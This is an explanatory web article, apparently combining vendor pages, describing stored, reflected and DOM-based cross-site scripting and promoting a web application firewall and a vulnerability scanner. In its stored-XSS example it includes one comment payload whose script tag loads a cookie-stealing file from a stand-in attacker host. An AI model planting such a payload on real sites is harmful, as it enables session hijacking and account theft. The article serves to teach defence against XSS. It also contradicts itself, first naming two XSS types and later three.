What are the two types of Cross site attacks

227.1k views

App SecurityThreats

Table of Contents Show

What is stored cross site scripting
Stored XSS attack prevention/mitigation
Stored XSS (Persistent XSS)
Reflected XSS (Non-persistent XSS)
DOM-based XSS
XSS Discovery and Prevention
Frequently asked questions

Cross site scripting (XSS) is a common attack vector that injects malicious code into a vulnerable web application. XSS differs from other web attack vectors (e.g., SQL injections), in that it does not directly target the application itself. Instead, the users of the web application are the ones at risk.

A successful cross site scripting attack can have devastating consequences for an online business’s reputation and its relationship with its clients.

Depending on the severity of the attack, user accounts may be compromised, Trojan horse programs activated and page content modified, misleading users into willingly surrendering their private data. Finally, session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their private accounts.

Cross site scripting attacks can be broken down into two types: stored and reflected.

Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user’s browser. The script is embedded into a link, and is only activated once that link is clicked on.

What is stored cross site scripting

To successfully execute a stored XSS attack, a perpetrator has to locate a vulnerability in a web application and then inject malicious script into its server (e.g., via a comment field).

One of the most frequent targets are websites that allow users to share content, including blogs, social networks, video sharing platforms and message boards. Every time the infected page is viewed, the malicious script is transmitted to the victim’s browser.

While browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be embedded in the site’s comments section. The embedded tags become a permanent feature of the page, causing the browser to parse them with the rest of the source code every time the page is opened.

The attacker adds the following comment: Great price for a great item! Read my review here <script src=”http://hackersite.com/authstealer.js”> </script>.

From this point on, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site, and has the ability to steal visitors’ session cookies.

Using the session cookie, the attacker can compromise the visitor’s account, granting him easy access to his personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.

Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, endangering all visitors no matter their level of vigilance.

From the perpetrator’s standpoint, persistent XSS attacks are relatively harder to execute because of the difficulties in locating both a trafficked website and one with vulnerabilities that enables permanent script embedding.

Stored XSS attack prevention/mitigation

A web application firewall (WAF) is the most commonly used solution for protection from XSS and web application attacks.

WAFs employ different methods to counter attack vectors. In the case of XSS, most will rely on signature based filtering to identify and block malicious requests.

In accordance with industry best-practices, Imperva’s cloud web application firewall also employs signature filtering to counter cross site scripting attacks.

Imperva cloud WAF is offered as a managed service, regularly maintained by a team of security experts who are constantly updating the security rule set with signatures of newly discovered attack vectors.

Imperva crowdsourcing technology automatically collects and aggregates attack data from across its network, for the benefit of all customers.

The crowdsourcing approach enables extremely rapid response to zero-day threats, protecting the entire user community against any new threat, as soon as a single attack attempt is identified.

Crowdsourcing also enables the use of IP reputation system that blocks repeated offenders, including botnet resources which tend to be re-used by multiple perpetrators.

Cross-site Scripting attacks (XSS) can be used by attackers to undermine application security in many ways. It is most often used to steal session cookies, which allows the attacker to impersonate the victim. In addition to that, XSS vulnerabilities have been used to create social networks worms, spread malware, deface websites, and phish for credentials. They have also been used in conjunction with social engineering techniques to escalate to more damaging attacks such as private information retrieval.

Cross-site Scripting can be classified into three major categories — Stored XSS, Reflected XSS, and DOM-based XSS.

Stored XSS (Persistent XSS)

The most damaging type of XSS is Stored XSS (Persistent XSS). An attacker uses Stored XSS to inject malicious content (referred to as the payload), most often JavaScript code, into the target application. If there is no input validation, this malicious code is permanently stored (persisted) by the target application, for example within a database. For example, an attacker may enter a malicious script into a user input field such as a blog comment field or in a forum post.

When a victim opens the affected web page in a browser, the XSS attack payload is served to the victim’s browser as part of the HTML code (just like a legitimate comment would). This means that victims will end up executing the malicious script once the page is viewed in their browser.

Reflected XSS (Non-persistent XSS)

The second and the most common type of XSS is Reflected XSS (Non-persistent XSS). In this case, the attacker’s payload has to be a part of the request that is sent to the web server. It is then reflected back in such a way that the HTTP response includes the payload from the HTTP request. Attackers use malicious links, phishing emails, and other social engineering techniques to lure the victim into making a request to the server. The reflected XSS payload is then executed in the user’s browser.

Reflected XSS is not a persistent attack, so the attacker needs to deliver the payload to each victim. These attacks are often made using social networks.

DOM-based XSS

DOM-based XSS is an advanced XSS attack. It is possible if the web application’s client-side scripts write data provided by the user to the Document Object Model (DOM). The data is subsequently read from the DOM by the web application and outputted to the browser. If the data is incorrectly handled, an attacker can inject a payload, which will be stored as part of the DOM and executed when the data is read back from the DOM.

A DOM-based XSS attack is often a client-side attack and the malicious payload is never sent to the server. This makes it even more difficult to detect for Web Application Firewalls (WAFs) and security engineers who analyze server logs because they will never even see the attack. DOM objects that are most often manipulated include the URL (document.URL), the anchor part of the URL (location.hash), and the Referrer (document.referrer).

XSS Discovery and Prevention

Cross-site Scripting is a very old technique but XSS vulnerabilities remain one of the most common ones on the web. They are still mentioned by the Open Web Application Security Project (OWASP) as one of the top-10 security risks.

An easy way to test if your website or web application is vulnerable to XSS and other vulnerabilities is to run an automated web scan using the Acunetix vulnerability scanner, which includes a specialized XSS scanner module. Take a demo and find out more about running XSS scans against your website or web application.

You can learn how to prevent XSS attacks in the following article: Preventing XSS Attacks.

Frequently asked questions

Stored (persistent) cross-site scripting (XSS) happens when an attacker injects malicious code into the target application (for example, through a forum post or a comment) and this content is permanently stored (for example, in a database). Later, when victims visit a page with the stored malicious code, their browsers execute this code.

Learn more about stored (persistent) XSS.

Reflected (non-persistent) cross-site scripting (XSS) happens when an attacker uses a malicious link, phishing email, or another social engineering technique to lure the victim into making a request to the server and this request contains malicious code. The victim’s browser then receives a reply with the malicious code and executes it.

Read more about cross-site scripting in general.

DOM-based cross-site scripting (XSS) happens when the web application writes user input to the Document Object Model (DOM), then reads the data from the DOM and executes it in the browser. It often happens that the malicious code is not sent to the server, which makes it difficult to detect by web application firewalls (WAFs) and security engineers who analyze server logs.

Learn more about DOM-based cross-site scripting.

The best way to discover cross-site scripting is by using a professional web vulnerability scanner based on an advanced crawling and scanning engine. Acunetix is the industry leader in discovering XSS, including the difficult-to-detect DOM-based XSS.

See what Acunetix Premium can do for you.